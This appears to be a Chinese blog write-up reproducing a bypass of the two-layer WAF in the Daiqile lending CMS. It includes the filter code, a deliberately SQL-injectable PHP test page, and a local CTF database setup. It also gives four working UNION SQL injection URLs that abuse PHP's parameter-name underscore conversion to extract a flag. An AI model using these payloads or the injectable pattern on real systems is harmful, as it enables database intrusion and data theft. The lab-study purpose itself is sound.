贷齐乐漏洞复现

avatar
作者
筋斗云
阅读量:0

贷齐乐的两层WAF

第一层WAF: 

class sqlin { 	function dowith_sql($str) { 		$check= eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $str); 		if($check) 			{ 			echo "非法字符!"; 			exit(); 		} 		 		$newstr=""; 		while($newstr!=$str){ 		$newstr=$str;         $str = str_replace("script", "", $str);         $str = str_replace("execute", "", $str);         $str = str_replace("update", "", $str);         //$str = str_replace("count", "", $str);         //注释掉对count的过滤,不然account这样的参数会被截断         $str = str_replace("master", "", $str);         $str = str_replace("truncate", "", $str);         $str = str_replace("declare", "", $str);         $str = str_replace("select", "", $str);         $str = str_replace("create", "", $str);         $str = str_replace("delete", "", $str);         $str = str_replace("insert", "", $str);         $str = str_replace("\'", "", $str);  		} 		return $str;     }

     包含点,单引号,星号等等,一旦包含直接删除非法字符,然后又注释掉了一系列东西,这是第一个WAF防御。

//aticle()防SQL注入函数//php教程     function sqlin() {         foreach ($_GET as $key => $value) {             if ($key != "content"&&strstr($key, "password") == false) {                 $_GET[$key] = $this->dowith_sql($value);             }         }         foreach ($_POST as $key => $value) { 			//echo $key."|".(strpos($key, "password") == false); 			[email protected]_put_contents('wxy123123.txt', date('Ymd His') . '提交url拼接 '.$key."|".(strstr($key, "password") == false), FILE_APPEND);             if ($key != "content"&&strstr($key, "password") == false) {                 $_POST[$key] = $this->dowith_sql($value);             }         } 		foreach ($_REQUEST as $key => $value) { 			//echo $key."|".(strpos($key, "password") == false);             if ($key != "content"&&strstr($key, "password") == false) {                 $_REQUEST[$key] = $this->dowith_sql($value);             }         }     } }

       将GET获取到的所有值来进行判断是否含还有password,如果没有,那么就执行第一层WAF来进行检测,GET传参不行,单引号也是闭合不了的。第二段则是将POST也进行了循环,然后进行过滤,执行第一层WAF,第三段则是REQUEST同样是进行循环然后过滤掉了。

第二层WAF:

/* 检查和转义字符 */ function safe_str($str){     if(!get_magic_quotes_gpc()) {         if( is_array($str) ) {             foreach($str as $key => $value) {                 $str[$key] = safe_str($value);             }         }else{             $str = addslashes($str);         }     }     return $str; }

这里我们可以看到里面首先进行了魔术开关的判断,然后就是判断是不是数组,如果是数组,那么循环进行safe_str函数循环判断,如果不是数组,那么直接执行addslashes进行过滤。

function dhtmlspecialchars($string) {     if(is_array($string)) {         foreach($string as $key => $val) {             $string[$key] = dhtmlspecialchars($val);         }     } else {         $string = str_replace(array('&', '"', '<', '>','(',')'), array('&amp;', '&quot;', '&lt;', '&gt;','(',')'), $string);         if(strpos($string, '&amp;#') !== false) {             $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);         }     }     return $string; }  foreach ($_GET as $key => $value) {     $_GET[$key] = safe_str($value);     $_GET[$key] = dhtmlspecialchars($value); } foreach ($_POST as $key => $value) {     $_POST[$key] = safe_str($value);     $_GET[$key] = dhtmlspecialchars($value); } foreach ($_REQUEST as $key => $value) {     $_REQUEST[$key] = safe_str($value);     $_REQUEST[$key] = dhtmlspecialchars($value); } foreach ($_COOKIE as $key => $value) {     $_COOKIE[$key] = safe_str($value);     $_GET[$key] = dhtmlspecialchars($value); }

这个函数关键点在于括号替换了,替换为中文的括号,剩下的便是双引号等等字符被转义,这里我们报错注入直接用不了了。剩下的便是GET、POST、REQUEST、COOKIE传参方式全部进入这两个函数进行过滤,从而达到防御的效果,这里我们不能写闭合,不能写括号,这里我们再注入已经几乎没办法进行注入了。所以我们想要完成注入,肯定就必须绕过这两个WAF。

如何绕过贷齐乐的两层WAF

一、模拟源码

<?php header("Content-type: text/html; charset=utf-8"); require 'db.inc.php';   function dhtmlspecialchars($string) {       if (is_array($string)) {           foreach ($string as $key => $val) {               $string[$key] = dhtmlspecialchars($val);           }       }       else {           $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);           if (strpos($string, '&amp;#') !== false) {               $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);           }       }       return $string;   }   function dowith_sql($str) {       $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);       if ($check) {           echo "非法字符!";           exit();       }       return $str;   }   //经过第一道WAF处理   foreach ($_REQUEST as $key => $value) {       $_REQUEST[$key] = dowith_sql($value);   }   // 经过第二个WAF处理   $request_uri = explode("?", $_SERVER['REQUEST_URI']);   if (isset($request_uri[1])) {       $rewrite_url = explode("&", $request_uri[1]);       foreach ($rewrite_url as $key => $value) {           $_value = explode("=", $value);           if (isset($_value[1])) {               $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));           }       }   }   // 业务处理   if (isset($_REQUEST['submit'])) {       $user_id = $_REQUEST['i_d'];       $sql = "select * from ctf.users where id=$user_id";       $result = mysql_query($sql);       while($row = mysql_fetch_array($result))       {           echo "<tr>";           echo "<td>" . $row['name'] . "</td>";           echo "</tr>";       }   } ?> 

2、连接数据库源码

<?php $mysql_server_name="localhost"; $mysql_database="ctf";    /** 数据库的名称 */ $mysql_username="root";  /** MySQL数据库用户名 */ $mysql_password="123456";  /** MySQL数据库密码 */ $conn = mysql_connect($mysql_server_name, $mysql_username,$mysql_password,'utf-8'); ?> 

3、数据库创建
这里我们需要自己创建数据库以及表名,首先我们创建数据库:

CREATE DATABASE ctf; 


创建表名:

CREATE TABLE `users` (   `Id` int(11) NOT NULL AUTO_INCREMENT,   `name` varchar(255) DEFAULT NULL,   `pass` varchar(255) DEFAULT NULL,   `flag` varchar(255) DEFAULT NULL,   PRIMARY KEY (`Id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 


添加数据(flag):

INSERT INTO `users` (`name`, `pass`, `flag`) VALUES ('admin', 'qwer!@#zxca', 'hrctf{R3qu3st_Is_1nterEst1ng}'); 


以上就是创建数据库、表以及数据的操作,最终即可看到:

二、测试


传入1以及单引号给id,即可看到回显结果显示非法字符:

http://127.0.0.1/daiqile/index.php/?id=1' 

三、注入思路

我们从第二道WAF那看不到什么大的问题,但是如果我们结合第一道WAF就可以看到第二道WAF其实就是第一道WAF执行完之后进行执行的。

所以,我们得思考下如果我们有一种方法让第一道WAF检测不到恶意字符,再通过第二道WAF的覆盖,从而将恶意字符传入到$REQUEST中,其实也就可以绕过WAF,完成我们的注入了。

找好了思路,那么我们就得想办法找到这个方法,这个想法之前我们说了要让第一道WAF找不到恶意字符,那么我们就得再$REQUET中不得有恶意字符。其二便是$_SERVER可以有恶意字符,但是必须过我们的第二道WAF,然后再REQUEST接收。

既然上面我们从绕过WAF变为了如何让第一道WAF检测不到恶意字符,那么我们又得想一个办法。让第一道WAF检测不到恶意字符的思路便是,在第一道WAF进行检测时,检测为2,但是在覆盖REQUEST时候使它最终拿到1便可完成第一道WAF的绕过。

PHP下划线特性这里我们需要了解PHP的一个小特性,那就是自身在进行解析的时候,如果参数中含有” “、”.”、”[“这几个字符,那么会将他们转换为下划线。

所以我们可以利用这个特性,让第一道WAF解析一个正常的参数,第二道WAF来解析另一个恶意字符的参数从而完成覆盖注入。

四、进行实验

1、测试回显字段

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1 

2、爆出库名

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1 

3、爆出表名

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1 

4、爆出flag

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1 

    广告一刻

    为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!